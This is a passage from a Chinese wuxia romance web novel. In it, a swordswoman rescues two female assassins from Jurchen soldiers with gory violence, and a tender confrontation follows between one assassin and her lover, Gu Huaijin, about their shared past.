“先顾眼前吧。”她犹自咬牙切齿地举剑一挥,将面前流箭拨落,“能撑到何时,算何时。” 两人再无话,南琼霜踮着脚跳过去,两人后背相抵。 月色底下,街上仍是一片空茫茫。 拉弓声却停了,再没有箭雨射上来。 南琼霜已经喘得头脑嗡鸣,每回呼吸,胸口都抽搐着疼一瞬,强撑着站直,惶惶四面环视。 却见本不精于轻功的福余三卫,一个一个,踩着瓦片,跟着跳上了屋檐。 十数个人,拎着刀,围成一个松松的圈,一步一步,好整以暇地逼近。 江强领头,一只手按在腰间的葫芦酒壶上,一手把刀身拎到肩上扛着,夜色里,他两条眯缝小眼简直看不见眼珠,嘻嘻笑了一阵,自言自语。 南琼霜靠着公孙红的背:“他说的什么?” 公孙红冷汗已经湿透后背衣衫: “他说,听说刺客里有伙女人,是生得极美而身手不佳的,今天似乎叫他给碰上了。还一下碰见两个。” “给他乐坏了。他说——” “说什么?” “说,‘抓活的’。‘领功之前,先享受享受,再叫兄弟们享受享受。轮番来——好久没骑娘们儿了。’” 南琼霜终于明白,这十数个人,手并非按在腰间酒壶上,而是各自按在裤腰带上。 四下一阵酸臭腐朽的酒气。 每个人都哧哧笑着,脸红扑扑,眯起小眼睛。 江强终于将大刀从肩上撂下之时。 南琼霜挥袖一洒,半个扇面般的白雾。 “你还有药?!”公孙红又惊又喜。 “有是有,不过地方这么高,有风——” 忽然,对面的女真人,口里正含着一口酒,白雾逼近面前,他□□似的,哇地一喷。 霎时吐了南琼霜一身。 她雪白的帷纱立时洇上了酒沫子和唾沫星子。 未等她暴怒或嫌厌,便闻到一股甜丝丝的异香。 是她刚刚挥出去的,软骨散。 她难以自控地发起抖来。 “不要用药。”她抖着声音,“太高了,风大,无法控制。并且这些人……” 江强森寒的大刀无声提起来,比到两人身前,一指。 他啐了一口,歪着嘴,用磕磕绊绊的官话道: “为了你们两个,我们得罪了国公。回去要受罚的。不好好用用,爷几个,太亏。伺候好了几位爷,你们死得会痛快些。” 话毕,朝其余人瞪目大喝: “上!” 刀光凛凛,四面人喷着恶臭浑浊的热气,龇着牙笑,迈步逼近。 南琼霜几乎闻见了几人裆里的腥.臊气。 眼前一花,头顶刀光一闪。 她已经毫无力气反抗。 忽地,生死一线,大刀被一道白光猛地一格,锵的一声,骤然震颤嗡鸣起来。 第169章 兵戈相接之声。 一柄白折扇格在雪白刀刃前。 那刀刃锋利得近乎一根丝线,却生生被木头扇柄别住,劈不进半分。 白鲸般的大刀倒是病了似的狂抖起来。 下一瞬,大刀被噔一声弹飞,折扇轻飘飘挥开,扇子底下的人轻哂: “我就说,定王身侧全是一滩烂泥,原来有些拳脚的,都在这呢。” 云瞒月俊眉狠压着凤眼,眼里寒光咄咄,笑意很凉: “怎么?放着东家不管,躲到这来耍威风,很有能耐?” 江强一急,官话更加磕巴: “你,你,什么人?!” “我的名讳,你还是别问了。” 云瞒月长身立在屋檐之上,周围十数柄炫目的大刀,她漫不经心地整理袖口,“临死之前,想想自己的事儿吧。” “你小心些!”南琼霜急道,“除去这些,院子里还有不少人!你若应付得来,我跟公孙红去下面……” “霜儿还是别动了。”月色底下,云瞒月半回过身来朝她温柔一笑,“我没事。” “好大的口气。”江强将大刀抡上肩头,啐了口痰,“张狂小子,拿你的人头祭我大刀!” 话落,残影一闪,粗白的刀刃破空,劈将下来。 云瞒月单手负在身后,抬扇轻巧一挡。 面前又一道白光斩来,她跳旋着身一闪,看也未看便阖扇往身后一格。 一道刀影嗡的弹回。 她倏地再转扇回来,哗的一声展扇又旋扇,一个快而满的白圆。 石头大的拳头被这一旋嘭的一挡,那山一样的壮汉骤然趔趄,栽倒。 青刃大刀高举猛劈,散着酒气的马刀横斩,锋芒森寒的长枪突刺,大汉中间的人却半分捉襟见肘也无,带点从容笑意,抡臂成圆,挥扇一削。 那扇唰一声脱了手。 四面大刀簇拥着齐刺过来,她负手弯腰,在圆点踮足一落,嗖的借势窜上高空。 衣袂轻飘着缓落下时,噗一声,一个山石般高大的壮汉,仰着下巴,脱力一倒。 白折扇插烂了他的后脑勺。 再一回神,那扇赫然已转回了她手里。 她依旧落在女真人中间,身姿清傲,负着手。 地网天罗惶惶发抖,瓮中之鳖游刃有余。 南琼霜看得心肝胆肺一齐发颤。行刺多年,她见识过的多了,可是,入绝境如入无人之境的,此生还是头一回见。 公孙红凑过来摇头:“太吓人了,我说,太吓人了。” 她赶快去看公孙红的肩膀:“你伤得如何?” “胳膊动不了。”隔着帷纱,公孙红眼睛一眨不眨望着屋檐上雨燕般翻跃的人,“不过,也用不着咱们了。这是神人啊,我的祖宗。” 南琼霜扶着公孙红,复又朝几人望去。 几句话的功夫,女真人的包围阵已经溃破开来。 四面魁梧壮汉,唯有中间人一身天青色锦袍,俊秀清逸,折扇开了又挥、挥了又开,悠闲得仿佛富贵公子哥儿。 可是,折扇一转。 女真人的头啵一声就从脖子上掉下来,四面弹开。 热血猛喷,劈头盖脸地狂溅。 南琼霜想破头也不明白,那落叶般轻而无声的扇子,怎么就能刀似的削落人头,还能轻飘飘将人的颅骨插烂——就算是能,她也太从容,太随意,几乎信手一挥。 马尾在背后挥扬,玉树临风地杀人,她连鬓角都没乱。 “那柄扇子,一定大有文章。”公孙红神秘兮兮贴着她,“瞧着是特殊的东西打造的。那么轻,却能穿烂人骨,毫不变形。不知道藏刃司给她分了什么好东西。真是见人下菜碟啊。” 南琼霜叹口气,万没想到她箭头还在肉里,竟有心思议论他人:“当然,她拿着那柄扇子去杀定王的。” “嘿,你这人好大的面子啊。”公孙红笑吟吟戳她一下,“这么大来头的人,你一叫就来了。” “我就奇怪她为何不用暗器。那把孔雀扇,里面藏着百道暗器,可瞬时连发。若用了,这些人一瞬就死了,何必拖这么久?” 公孙红一笑:“许是杀人有趣。” 这答案听得南琼霜身上发毛。 她虽然时常杀人,但从不是因为有趣。 女真人愈发被打得落花流水,十数个人,披坚执锐,被一个闲人打扮的逼得节节败退。 包围之势,早已大去。 云瞒月杀得越发恣意。 一回身,面前又扑来一个,目眦欲裂,虎背熊腰。 她未躲,只弯下脖子,那青白寒锋闪着光落了空,她揪过他领子直拉近前,手肘在腰腹重力一锤,掰过头,找准太阳穴。 阖扇以扇尾一敲。 噗一声。 热白的脑浆四下迸溅。 却未溅到锦袍上半点。 她阖眼长立,展扇一挡,脑浆噼里啪啦,全迸在白折扇上。 下一秒,折扇移开,她乍睁开眼,眼里冷光一迸,已出手掐住面前人粗壮的脖颈。 指骨绷起,闪身一格背后攻势,单手一捏,挥手一甩。 那女真大汉登时飞开,轰然跌到街边墙根底下,腰腹折断,脊椎对折。 南琼霜越看心里越发寒。这种杀法,手无寸铁,锐不可当,这还只是——有武器,不愿用。 这里再没什么她须担心的了。 她心有余悸地喘着气,回身往院子里看。 一看,愣了。 国公府中已是火光滔天。 膀大腰圆的女真人,肩扛着宝瓶,腰绑着绫罗绸缎,腋下夹着和田玉寿佛和翠玉观音,大摇大摆地挺着肚子往前走,因着绸缎拖了一地,连步子都迈不开,不得不拿用手拎着。连手上,都戴满了宝石扳指。 一个一个,人人如此。 南琼霜难以置信地吞咽了一下。 她就奇怪,为何这边溃不成军,其他人竟半分援手也不施,原来是掉进了藏宝库,个个谋后半生去了! “这些人怕是疯了。”她冷笑,“趁火打劫,国公府也是能抢的?闹这么一场,洛京再容不下这伙人了。” 公孙红一扁嘴:“说不准吧,有定王在上头罩着。他这回遭了暗算,身边是不可能不留人了。这伙女真人是最勇猛的,他不论如何不会撒手。” 定王若不撒手,京中必然是怨声载道,众议纷纷。 日子绝不会太平了。 “但是,这伙人竟然有如此胆量。” 庭院里,福余三卫嘻嘻哈哈大模大样地捧着东西往外走,堂而皇之地明抢。府里女眷紧锁着门嚎哭,家丁们半点不敢与之对抗,执着长矛守在门外,只求护主。男人们更是不敢露头,整个院子里见不着半个出来呵斥的主子,全瑟瑟缩缩地躲在屋里。 偌大的国公府,看着,听着,人人知道,无人敢拦。 公孙红:“毕竟三方对峙,无人能一统。上面无人压得住定王,他们是定王的人,还怕谁?女真人来中原,本就是图钱财。毫无道德忠义之徒,金银珠宝放在眼前,焉有不抢之理?” 南琼霜默然。 女真人一贯以畜牧为生,是因自己地盘不如中原富庶,才千里迢迢背井离乡。这些人,本也不从儒家四书五经那一套,性情狠厉勇猛,又对此处无家国之情,自然是见了钱财,不择手段。 今日抢够了,后半生无忧,他们压根不怕得罪东家。 忽然面前一阵飒飒风声。 南琼霜惊愕回过头去,慌忙提剑。 公孙红十分惊喜:“诶,来了!” 茫茫夜色里,硕大的玉轮盘下,渐飞过来三个纤细人形,越来越近了,眨眼间,就到得几人眼前。 其中一人,手执一杆细长之物。 云瞒月犹自酣战,目光如炬,百忙之中开掌: “拿来!” 那人忙不迭双手将那东西奉上去。 云瞒月的,朱缨戟。 一丈六尺的长戟,中间一根锋锐的枪尖,两侧月牙形弯刃寒得发青,刀刃底下,一捧大红流苏垂挂下来,仿佛倒吊了一朵红莲。 云瞒月手中折扇往外一抛,倏地牵戟在掌,双手轮转一圈,那成年男子两人高的长戟霎时运转如风,一划,横在身侧。 戟尖一点白星。 她清俊眉眼带些凛冽杀意: “躲开些!” 未等两人有暇惊呼,面前人如一支离弦之箭,突地抬步一窜。 骤然一股化劲冲得两人墩坐在地。 一抬头,面前戟尖弯刃已是削得叫人眼花,月亮底下一片七零八落的破碎寒光。 余下的大汉吱哇叫着女真语,手中大刀尚未高举,月牙弯刃一勾,刀顷刻离手。 未等反应,面前突地钻来一点枪尖。 一啄。 半点惨呼都无,喷着血倒地。 旁人横刀过来大着胆子一挡。 戟尖一收一挑,直刺入那人咽喉。 枪尖不及染血,长戟猛地一收。 再转、再挑、再提、再啄。 转眼间,红流苏烧得四面一片熊熊。 南琼霜在旁看着,简直已分不清那红是戟下朱缨,抑或人血。 只见房檐上血溅四处, 红雾喷迸,白铁枪尖在氤氲发腥的血雨之中四下突刺,挣得红雾千疮百孔。 红与白撕咬揪扯,两厢衬托,狰狞诡艳,惨酷无比。 中间的人倒是眉眼带笑,身姿如松,从容翩翩。 ——风流倜傥的杀神。 南琼霜看得心惊,第一百八十回吞下喉中冷气。 方才手中唯有一把折扇,这么多人,云瞒月只得一个个过。现在得了她的朱缨戟,这人岂止是如鱼得水,简直是龙王入海,大开杀戒。 别说四十个女真人,这样下去,人数再多一倍,也未必牵制得了她。 片刻,女真人已经被朱缨戟逼得退去了屋檐边缘,无路可走。 她方才用完的白折扇,被随意丢弃在一旁。 南琼霜见也没有用得着她的地方——不仅轮不到她动手,甚至想对她动手的人都跑了,遂放了心,将那柄白折扇捡了起来。 公孙红凑过来一个脑袋,帷帽顶了一下她的帷帽:“究竟是把什么扇子?” “不知道。” 那扇子上,血迹未凉,还黏着些温热的黏稠的白浆。她不欲细想那白色的东西究竟是何物,两根指头捏着扇骨,拿得老远使劲甩了甩,方小心翼翼地捏着,拿到眼前。 “应是那把孔雀扇吧。可为什么是白的?” “机关都在哪?给我瞧瞧。”公孙红将那扇子夺过去,翻来覆去地在手里掂量,“这么轻,真的有暗器吗?” “废话。谁会拿把折扇去杀定王?” 说话间,面前一阵惨嚎。 那一众女真人全被云瞒月砍菜似的枭了首,人头叽里咕噜地滚下屋檐。 唯有一个还活着的,烂泥一样瘫软在地,方才凶神恶煞、不可一世的嗜杀之徒,此刻涕泗横流着抽噎,手脚并用地往后挪: “求求您……饶我一命!饶我,饶我……求您……” “饶?”云瞒月长戟立在地上,系着袖口小扣,挑挑眉梢。 “饶我!饶我!那两个女人,我没有动。”女真人语无伦次地摇头,生死关头,中原话更加零碎,“这座府,我也没有抢。听命办事,听命办事,求求您!” 云瞒月搓着下巴思量,手中长戟往旁一搁,有个教引弓着腰双手接下。另一个教引双手奉上杯热茶——云瞒月的教引随时给她备着热茶! 她顺手接过,啜了一口。 公孙红看得张口结舌,目瞪口呆。 南琼霜对她的游刃有余和她教引的毕恭毕敬已经习以为常,不以为意,小心翼翼地打开了那把折扇。 公孙红忽然开口:“怎么不杀了?” 一抬头,云瞒月捏着茶杯,朝那女真人摆摆手。那人屁滚尿流地跑下屋檐,蹬得瓦片都飞了,她道: “以杀止杀,点到为止。” 南琼霜愕然愣怔,低头看那扇子。 白折扇上一幅菩萨像,旁书“大自在菩萨”五字,兼有六字草书在侧,一枚大红印章。 “杀戮道,菩萨心”。 公孙红对她这把扇子好奇非常,嘻嘻笑着献殷勤,拿着扇子捧到她面前: “机关在哪?能不能给我瞧瞧?我那把八宝琵琶,正想找人改改。” “机关?”清澈月色底下,云瞒月喝着茶,费解了:“那就是把扇子啊。” 两人顿时一阵静默。 云瞒月更加费解:“怎么了?” 两人彼此对视许久,你看看我,我看看你,半晌,干巴巴笑了。 仑烛不知何时已经回来了,正站在公孙红身后:“您拿着那把扇子去给定王扇风?” 云瞒月笑得有些腼腆:“是为提醒我,菩萨心肠。” 好了,好了,再没什么好说的了。 南琼霜幼时就恨自己肩不能挑手不能扛,现在更恨了,她从来没有说不杀就不杀的余裕。听云瞒月说两句,回回头昏脑涨,她扶着公孙红堪堪站稳,一回身,雾刀也已站在自己身侧,她问: “抽空回来顾这边,你那边怎样?” 公孙红接:“杀了定王没有?” 云瞒月笑得有点不好意思,回身将茶杯搁在教引捧着的托盘上。 “那边有墨角呢,不必担心。” “你那边还没办妥,就这么过来了?”南琼霜一急,她最怕耽误了人家大好前程,“墨角若是拿了定王的首级,七杀堂主之位说不定又是他的了!何至于为了这边耽误你自己?” 云瞒月一哂:“总有些事比功劳更重要。” 眉眼清俏,轮廓英俊,声音柔和又叫人心安。 初秋的夜风倏然拂过,枝桠随风而动。 清风无意,木叶有心。 极乐堂一贯玩弄人心的两个女人,怔在原地。 没有人说话。 云瞒月此人,坦荡磊落,耿直率真,说话做事,从不拐弯。 她说话,是没有弦外之音的。 正因为她坦荡,两个听者,才不坦荡。 两个女人一齐热着脸颊垂下头。 半晌,南琼霜轻咳一声,近乎没话找话: “你来了,那墨角没来?” 云瞒月一笑:“他惦记着功劳,不肯来。无妨,他身手差些,来了,说不定伤及自身。” 公孙红讪讪又乖乖地把白折扇塞到云瞒月手里,嗓音捏得俏生生的: “你这把扇子,真厉害。” 这是有弦外之音的话,可惜云瞒月听不懂,温和笑了笑。 “别在这耽搁了,你快回去定王府瞧瞧。”南琼霜跨出一步,“若墨角没得手,说不定还能赶……” 话音越来越软,游丝般掐断了。 她像朵从枝头凋谢下来,无力支撑的白花一般,软着膝盖萎倒下去。 被云瞒月伸着手臂接住了。 云瞒月单膝蹲地将她接在怀里。 她始料未及,扑在她双臂间。 一点山茶花的清香。 她不知自己为何有些惴惴。 云瞒月清秀面孔忧心忡忡望着她,关切又近乎怜惜,蹙着眉头: “霜儿,这是怎么了?” 她身子软得厉害。这时候才想起,方才走投无路,死马当活马医,她挥了一袋软骨散出去,结果没等女真人中招,自己先吸了两口。应是吸入的量不多,此时才发作。 “一点软骨散。”她咬着嘴唇,不知为何,无法看她的眼睛似的,攥着袖子想再起身,“不必担心。公孙红中了箭……” 未等起身,又再软倒。 云瞒月倾着身子由着她再跌在怀里。她眼下是真柔弱无骨,弱柳扶风,倒有些叫她不知如何是好, 战战兢兢半晌。 怀中人仍是控制不住地往下滑。 她只好顺着她的势,向后坐在瓦片上。 南琼霜虽然隐约觉得不妥,又毫无办法,只得软软靠着她胸口,蜷着膝,坐在她曲起的两腿间。 云瞒月见她终于稳了些,捧起她脸颊来,细看她气色。 她微微气喘着,眼圈泛粉,眼皮上一点纤微的粉色血管,仿佛碎了纹往外渗血的瓷器。 脆弱不堪的情态,好似结着露珠的落花。 她心头兀地一跳。 她是一贯英朗阳刚的,这般脆弱之身贴在怀里,她手脚都发麻,生怕怠慢,两手虚虚一拢: “软骨散中了多少?你这样不行。” 说着,低下头,将腰间系着的一个菩萨玉牌解了,握着她腰肢将她翻了个面,将那玉牌系在她腰间: “这是我的信物。教引,”她抬头吩咐雾刀,“带霜儿速去玲珑棋社内疗伤。见此牌如见我本人,棋社之内,无人不从。公孙姑娘亦负了伤,教引,也带她回去。此处不必留人守了。” 公孙红肩上鲜血已经染透了衣衫:“墨角没有撤退的令,行动尚未结束,恐怕还不能退。她动不了,你先带她走。” “我说了不必留了。”云瞒月凤目里威意凛然,“他敢怪罪,我担。” 在场众人都无话可说。 南琼霜从她怀里挣扎起来,见她眉心似乎溅了点红血,捻着袖子替她一拭,“雾刀带我回去便是。你快回定王府,那边……” 云瞒月未料到她此举,这般关怀的动作,过分亲近,若是旁人,她是有点厌恶的。但是是她,她就有点煎熬紧张,一时愣了。 ——顾怀瑾做梦也想不到,他带着飞鱼卫奔波半夜,焦头烂额、疲于应付,一抬头,心心念念一整天的人,依偎在一个公子哥怀里,心疼不已地,替那人擦拭额头。 是她疯了还是他不正常了。 她昨天还好言好语地哄他。 她把他的腕伤忘了是吗?! 那一点红血,擦不掉。 南琼霜正在纳闷,忽地云瞒月搂住她腰身旋身往外一翻,她不知发生何事,忽然就双脚悬了空。 再定睛一看,方才那屋檐一瞬已经离得极远。 雾刀嗖一声钻进天空没了踪影。 公孙红伏在仑烛背上,不知何时已经隐入了夜幕。 低头一望,一身玄黑衣袍的人决然立在宽阔街面之上,身后随着一众飞鱼纹锦衣的飞鱼卫,仰头与她对望,唇紧抿着。 南琼霜心里登时道了一声不好。 “放我下来,你快走!” 忽然,顾怀瑾乍至云瞒月身后,两人四目相对。 顾怀瑾衣襟袍袖轻飘飘在空中鼓扬起来,如瀑长发随风飘垂,来得太急,他只听见最后两个字,英眉挑了挑。 一哂:“……去哪啊?” 云瞒月朱缨戟不知何时已经在手,左手搂着她,卸力往地上落: “是个劲敌。顾不上你,等我片刻。” 她十分惊恐:“别!我没事,你快走!” “我走?”云瞒月足尖倏地点到地上。 落了地,她又支撑不住,软得一缕白烟似的,往后栽倒。 “我没事,你千万别跟他打。”飞鱼卫正在两人身侧肃立,她琢磨着措辞,片刻,顾怀瑾轻悠悠落了地,她咬着牙跟他说:“该逃就逃,刺客一途,有谁怕死,你快走!” 云瞒月回身打量他一圈,见此人正是仙女湖上闯入花舟那人,心里纳闷为什么每回同她相处片刻,这男人都浑身戾气地搅局? 顾怀瑾声音沉煞凶戾,一字一字,仿佛从齿关中嚼过了吐出来似的: “……你伤她了?” 南琼霜冷汗淋漓地劝:“受不受伤,我都不会说一个字!” 顾怀瑾愣了。此刻,终于冷静些许,他方才嗡一下涌上天灵盖的血潮退下去,隔着白帷纱,对上她的眼睛。 虽然软得站都站不住,那双眼睛依旧清明凌然,透彻如雪镜。 他忽然明白了她的意思。 是他莽撞行事了,竟忘了有这么多飞鱼卫在此。 他回身吩咐飞鱼卫中身量极高的一个——竟是云垂,他无量山上的随身暗卫: “抓住她。” 南琼霜赶忙将云瞒月往外一搡。 云瞒月会意,刚欲转身。 却听顾怀瑾冷笑道:“两个都抓了。” 南琼霜一惊,猛地偏首一望。 云瞒月已经不见了。 唯余顾怀瑾仰头望着夜幕中央,面无表情,神色晦沉难明。 良久,他森森笑了一声。 四面一望,满地脑浆人头,无头尸首乱七八糟零落满地,往日堂皇富丽、显赫辉煌的齐国公府,一片惨烈狼藉。 有幸捡回一条命的福余三卫,个个捧着宝樽抱玉佛,拎着衣摆兜黄金,拔着步子刚迈出府门,对上他,就愣了。 京中这位大人物,他们是认识的。 与自己东家齐名的大人物。从前想不开,给了自己一刀,为此,整个洛京抖了三抖,人人自危。 顾怀瑾歪头,好整以暇地鼓起掌来,笑: “听说定王的精兵骁勇善战,今日一见,果然如此。国公府不知包庇了什么刺客,要定王灭了齐国公的门?领头,出来。” 江强本带着人在房檐上围攻南琼霜二人,中途却见有部下闯进府内劫掠,跟着眼馋,也去大肆抢劫了一番,因此捡回一命。 听了点名,忐忑一抱拳:“属下江强。” “女真人,起个中原名。”他黑绸底下两片唇弯起来,“学不会中原的规矩,别在中原混。” 兀然抬手,食指中指并在一处,竖在面前。 一阵磅礴的气劲,骤然攒在四周,嗡鸣震颤,地上的小石子都跟着跃起些许。 下一秒,一阵骨头碾碎的咯吱声。 江强的胳膊诡异地向后翻卷扭曲,仿佛一卷绸带。 他登时爆发出一阵凄惨的狼嚎。 其余女真人见自家将领受此折磨,不忿之外,更是大惊——才送走一尊杀神,怎么就又迎了一个阎王!? 顾怀瑾好脾性地笑:“顾某要劝各位打道回府。诸位,可有意见?” 再无一人说话。 福余三卫窥着江强惨白脸色,各个冷汗直冒。他们这些人,不敬道义,只敬武。顾怀瑾的无量心法之名,京中人人皆知。 片刻,福余三卫连句言语冒犯都不敢有,规规矩矩搁下了手中金银珠宝,朝顾怀瑾恭敬行礼,拖着自家犹自惨嚎的将领 走了。 顾怀瑾长身立在国公府门口,一言不发,候着所有女真人离开。 良久,他终于回身,神色冷峻如他那一身黑衣,对云垂道: “带她回府,我亲自审问。” 第170章 顾府竟然建了一座刑室。 据说,是专门用来审讯细作的刑室。如今,顾怀瑾对细作,是真不手软。 南琼霜两手被吊在两根铁柱上,浑身骨头仍软着,细细的铁铐箍在两只手腕上,硌得她手腕有些痛。 云垂认出她便是顾怀瑾宝贝不已的珍妃娘娘,缝紧了嘴巴,清了其余所有人,亲自将她抱进了刑室,又将两边铁链调得长度适中,才低下头走了。 刑室内未点灯烛,半点光也无,一股潮湿的霉气。 不久,门外有人道: “继续抓。这些苍蝇,今夜别想逃出京城这三分地。” “是。”一阵齐肃的顿地行礼声。 吱呀一声,门开了。屋里太黑,看不见那人面容,他将门轻轻关了,摸着黑过来解她的铁铐,一阵叹息:“没眼力见的东西,谁准她给你用这些。” 她软骨散的药效仍未褪去,眉眼都耷拉着:“做戏做全套。” “我的地方,有什么好演的。她犯蠢,你为什么也准?” 一阵咯啦的铁链响声,她腕上手铐咔地一解,胳膊顿时沉重摔下来,他握住她两只细腕,拿手掌摩挲着,“都破皮了。” “……没事。”她浑身酸软,被他兜着一掂,一翻,就仰躺在了他怀里,头依偎在他胸前,“没受伤,别担心。” “还说没受伤。”每回她不仔细自己身子,他就一股火不知跟谁发,天山上是这样,现在也还是这样,“等会我亲自查,由不得你敷衍我。” “真没受伤……”她哭笑不得。 门打开,刑室里倾进一斗橘黄的烛光,照得里面东西亮了一瞬。 森寒的、狰狞的、骇人听闻的刑具,齐刷刷的。 她艰难伸手掩住了鼻子。 她就说这房里怎么一股腥酸味。 半点不打马虎的刑室和刑具,饶是她,看得也不免忌惮。再望向身边人,他侧脸依旧俊雅得如温玉一般,走廊内灯烛一盏一盏,映得他脸孔断断续续地亮,她曲着手指,努力去他脸上蹭了蹭。 “怎么了。” “那些东西……那些刑具,你平日真往人身上用吗?” “当然。” 他缚着那根黑绸带时,周身气场沉郁迫人,难以接近,有时连她也不敢认。 “专审细作吗?” 他轻描淡写,“我是变了些,但也不会迫害无辜。” “……我想象不出来。” 说了会话,她又没力气了,软绵绵地依偎在他脖子底下,“你一直是那么好脾性的,我想象不出来。” “乖乖。”走到他自己的房间门口,顾怀瑾开了门,“你不会以为谁都能像你吧。” 她有点五味杂陈,眨眨睫毛,没说话。 顾怀瑾将门轻轻关了。他自己的房间,依旧是他一贯的简朴布置,木桌木椅木榻木书架,实料子的床幔,靛青色的茶具,简单的轩窗,窗棂不带半点雕花。 他将她小心翼翼搁在自己的床榻上,刚欲将被子拉来给她盖上,她哼着字道: “……别,先给我找套衣裳。”又补充:“要干净的。” “没有干净的。”他才不会为她一时兴起洗了他那点可怜的积攒,“你要穿干净的,只有穿我的。” “可以啊。你不知道,那伙女真人喜欢拿酒喷剑……” “到底是怎么伤成这样的。”他一面翻衣橱,一面竭力将无名火压下去,“谁伤的你。” 她有点尴尬,像做了错事心虚的小动物一样干笑,“没有人伤我……我自己把我自己药倒了。” 顾怀瑾闻言,沉默了半晌。 许久,无奈无法无可奈何,长叹了一口气。 天天要人操心。 他拿着自己寝衣过来,坐到榻边,将她扶起来靠在怀里,“不是你们门中翘楚吗,怎么犯了这种蠢。” “人有失手,马有失蹄。”她软趴趴地仰在他怀里,任他将自己衣裳剥了去,他撩开了她长发一寸寸地查伤,听她嘟囔着,“当时没办法了嘛。我跟同僚都打不过,知道药雾难以控制,但死马当活马医。结果,果然自己中了招。” “别的地方呢?”他光顾着检查,从头到脚仔细看过,半点旖旎之意也无。 她无法,推他,“真没受伤,别闹。” “算你运气好。”他火仍未下去,“一身酒气。怎么,是从那帮女真人嘴里喷出来的?” 她笑得愈发尴尬。 顾怀瑾将她那身衣裳三两下全剥下去,揉成一团往地上一丢,看都不愿再看。 如今他厌人——所有人,只要是活的。 一想到那帮蛮匪朝她吐了口沾着唾液的酒,他就暴躁。 “你在生气吗?”她忽然品出一点滋味,“为什么?” 他凉凉笑了一回。 他气得可多了,她还在这问为什么。 “我同……”她忽然想到不能对他说云瞒月的名字,堪堪截住,“我同那个人什么也没有,别瞎想。人家是女人。” “天底下竟然有这种女人。”一提这事,他火更大了,“若是男人,倒还好防了。偏偏是个女人。搂了抱了我也不能说什么,你当着她面换衣裳,我也不能说什么。是否明日亲了,也是金兰之情,你跟着她走了,也是情同姐妹?” “我……我如果同她走了,当然是情同姐妹。”她语塞,“不然会情同什么?” 顾怀瑾:“所以你想跟她走?” 南琼霜一口气差点没喘上来。 她觉得这一切很诙谐:“你到底……” 顾怀瑾知道自己是在妄加猜测——假如她真对那女人有意,根本就不会跟他纠缠了,他们之间差的不是一星半点。 只是,仍旧有股邪火,在肺腑里翻滚着烧。 他怎么每回见那女人,都觉得不对? 她看她的眼神,分明跟那轻狂小子看她的眼神一样。 欣赏、在乎、怜惜。 偏偏,又是个女人。再越界,他也抓不住把柄。 他像明知自家的宝贵之物在被贼人觊觎,却没钱买把门锁的穷光蛋般,束手无策,疑神疑鬼,草木皆兵。 “你真的别多心……”南琼霜简直无法明白他怎么会这样想,身上软得连呼吸都累,却一哆嗦一哆嗦地笑了起来,“到底在想什么呢,我真不懂你。只是中了药所以她才抱我啊。而且她是女人……” 她是女人,所以,抱一下怎么了。 这话他最不爱听,干脆打断:“那么,明知道自己身体弱,怎么还出去掺和这种事?” “不是我要掺和。”她软软地去拉他的手,“是被调出去的。你别生气,我没有不爱惜自己。我多惜命呀。” “你惜命?”他冷笑,大拇指却抚了抚她手背,“没见过人惜命,还用自伤的法子来骗人的。” 自伤的法子——楚皎皎。 她的话一下塞住了。半晌,惴惴垂下了眼睫。 天山上那些手段,果然,他还是在意吧。 他一言不发,搂着她的背,把自己的寝衣披到她肩上,再环着腰帮她系带子。 南琼霜沉默得愈发煎熬。靠在他怀里,心却像一只舴艋小舟,浮浮沉沉、漂泊无依。 或许两个人只能如此了吧。离得再近,也无法真正靠近。像一只汪洋中的小舟,极其脆弱,随时倾覆,永远靠不了岸。 她终于还是开了口: “怀瑾,你真的想好了要不断吗。” 他最怕想起这些事,也不想再答这种问题。 他不答,搂着她,一点点把寝衣的带子替她系好。 她望着他恍若未闻的、认真的面孔。 一字一字地轻吐:“我可是细作。” 许久。 久到她几乎以为他结冰了,久到她觉得根本不必问了,久到她又开始想起,兰阁之夜她杀他前,问他“门派和我,你选谁”时,他最后的那段沉默。 半晌,顾怀瑾还是不答,也没看她,将她轻轻往后放倒在衾被里,起了身: “白灼虾和黄瓜炒蛋都做好了,我吩咐热热。” “怀瑾。”她艰难挣扎着坐起来,长发拢到胸前,“你好好想想,我不勉强。” 又不勉强。她什么都不勉强。 当年的事,他是不知道吗?他若能放,早就放了。 想闭上眼睛糊涂些,偏偏她要逼着他清醒。 良久,他站在桌前,闲谈似的,将摊开的书卷字帖一本本收好: “我没有拿你当细作。” “我与从前不一样了。从前,我认死理,一切都要从道德这两个字里筛过,不仅筛己,也筛人。不仅筛‘果’,还要筛‘术’。” “我是按仁义道德一丝不苟活过的人。可是怎样?又带来什么?事到如今,我并不认为那有意义。” “所以,那些,我不遵守,也不在乎了。”他将书卷一册册归入书架,背影如一棵乌竹,“我只认‘果’。” “椿药、自伤,这些手段,你自己或许觉得下作,但我已经无所谓了。我不拿下作与高尚来评判自己,也不拿这话来评判他人。若说当年的事有一点好,就是叫我从君子幻梦里醒来了。世间的事,没有那么黑是黑,白是白的……”他垂下头叹息,“你不必为你那些手段愧疚。” “现在,我只认‘果’。结果如何,就如何。你当年,取走玉牌是无奈之举,留我一命,更是抗令。即便你是作为细作上山的,却不是作为细作下山的。所以,我没有拿你当细作。” “所以,别总拿细作两个字说事了。”他淡淡说,“我不爱听。” 她不知道是该感动还是该忧心。 或许她该感动吧。 可是,一个最看重门派的人,为了她,连这种头都要低。 从前她或许爱看他低到尘埃里,可是如今,他低到尘埃里,她反而不开心。 爱是种共感的巫术,他受伤她也痛,他自欺就是她自欺。 他转过身,眼上绸带已经解了下来,“除了饭菜,想不想喝些什么?” 她没胃口,恹恹地想流泪:“不要,都不要,不想吃。” “怎么不想吃?”他从书架前走回来,复又坐在她身前,低下头去追她眼睛,一点一点地哄,“你的性子,晚上一定还没有吃饭。又出去跑了一整晚。” 她不说话,偏开头。 他心里有些明白了。 当年的事,介怀的何止是他。 他后知后觉地垂下眼,心中只是无力。 当年的事……当年的事,他也还过不去。 他自顾不暇,她的愧疚,他也爱莫能助。 “不论如何吃一点,听话。”他温温的手指抚着她指尖,弯下腰来凝望她眉睫,“从前的事我们不提了。乖乖,你这么心疼我……我怪谁也不怪你。” 她眼睫倏地抬起来。 对上他柔柔的双眼。 卷曲的、纤长的睫毛,柔软望着她,里面一点自己的影子。 她看见那倒 影的眼睛里很快盈上一层水光,颤巍巍的。 她垂下眼。 “我一直觉得,我太不心疼你,所以你才……”她眼泪大得像葡萄粒,唰唰滚落。 他只是轻轻说:“你没有。” 她眼睫颤抖一下,抿紧了唇。 顾怀瑾捉住她的手,垂睫玩着她指尖,在她的指节上流连打圈: “我想死,一是因为自认有罪,二是因为你不要我。” 